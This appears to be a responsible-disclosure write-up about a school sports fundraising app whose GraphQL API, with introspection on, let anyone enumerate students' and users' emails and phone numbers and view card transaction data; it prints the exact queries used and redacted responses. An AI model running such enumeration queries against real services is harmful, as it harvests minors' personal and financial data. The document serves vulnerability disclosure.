GraphQL Introspection and Unsecured Queries in the Wild
Company is a fundraising app primarily targeted at K12 sports teams. After playing around with the platform, I discovered several troubling vulnerabilities which expose PII, and financial data.
Some queries were auth protected, while others seem to have gone unnoticed by developers.
Introspection
Introspection allows you to query GraphQL for info about which queries, types, and mutations are available. It's recommended that you disable it, since it gives you a little security by obscurity. Since anyone can see which queries are going across the wire, it shouldn't really matter, but I was able to see queries which were likely deprecated and no longer used in the app (possibly replaced by more secure queries)
Enumeration: Student Data
Email and phone number of students are visible. Fundraiser ID can easily be enumerated.
query ParticipantsListV2 {
participantsListV2(fundraiserId: 000000) {
id
participant {
apps
email
firstName
id
isConfirmed
isDisabled
language
lastName
occupation
phoneNumber
profilePicture
xRaiseId
xSpendId
walletTerms
}
}
}
Returns:
{
"id": 0,
"participant": {
"apps": [
"raise"
],
"email": "🚨",
"firstName": "...",
"id": "...",
"isConfirmed": true,
"isDisabled": false,
"language": "en",
"lastName": "...",
"occupation": "student_or_participant",
"phoneNumber": "🚨",
"profilePicture": "...",
"xRaiseId": "...",
"xSpendId": null,
"walletTerms": false
}
}
Enumeration: User Data
Similarly, all users (seemingly both students and organizers) can be enumerated, with their full name, email, and phone number being vulnerable.
Seeing a users email and phone number may be intentional functionality, but vulnerability to enumeration makes this harmful.
query PublicUserData {
publicUserData(userId: 0) {
apps
email
firstName
id
isConfirmed
isDisabled
language
lastName
occupation
phoneNumber
profilePicture
xRaiseId
xSpendId
walletTerms
}
}
Doing a quick manual binary search, I found there are 14,127,292 accounts at the time of writing.
Payment Transaction Data
The app can issue credit cards to sports teams so their organizers can easily keep track of expenses. Every single transaction is publicly viewable.
Looks like Stripe and Twisp are used for credit card processing and accounting.
query Transactions {
transactions(input: { createdAfter: "2024-01-01" }) {
amount
correlationId
created
description
destination
direction
effective
externalId
id
metadata
processor
xAmount
source
status
type
}
}
{
"amount": 0,
"correlationId": "authorization_0",
"created": 0,
"description": "",
"destination": "its a uuid4",
"direction": "CREDIT",
"effective": 0,
"externalId": "authorization_0",
"id": "its a uuid4",
"metadata": {
"account": "account_0",
"amount": 0,
"authorization": "authorization_0",
"authorizationRequest": "",
"balance": "🚨",
"card": "card_0",
"cardLast4Digits": "🚨",
"cardNetwork": "Visa",
"cardPresent": false,
"cardVerificationMethod": "",
"cashWithdrawalAmount": "0",
"coordinates": {},
"currencyConversionAmountInOriginalCurrency": "0",
"currencyConversionFxRate": "",
"currencyConversionOriginalCurrency": "",
"customer": "businessCustomer_0",
"destination": "its a uuid4",
"digitalWallet": "",
"ecommerce": true,
"effective": {
"day": 1,
"month": 1,
"year": 1970
},
"externalId": "authorization_0",
"grossInterchange": "",
"interchange": "",
"merchantCategory": "Commercial Sports, Athletic Fields, Professional Sport Clubs, and Sport Promoters",
"merchantId": "",
"merchantLocation": "Oregon",
"merchantName": "ACME Sporting Goods",
"merchantType": "0",
"paymentMethod": "Other",
"processor": "unit",
"product": "spend",
"recurring": false,
"richMerchantData": {},
"source": "its a uuid4",
"summary": "Purchase from ACME Sporting Goods | Address: ACME, OR, US | **0000",
"tags": {}
},
"processor": "unit",
"xAmount": 0,
"source": "its a uuid4",
"status": "SETTLED",
"type": "PURCHASE"
}
There's probably more, but I'm getting kinda bored and just want the company to audit every query, and add authentication as needed to protect their users.
The company was contacted and the issue has since been resolved.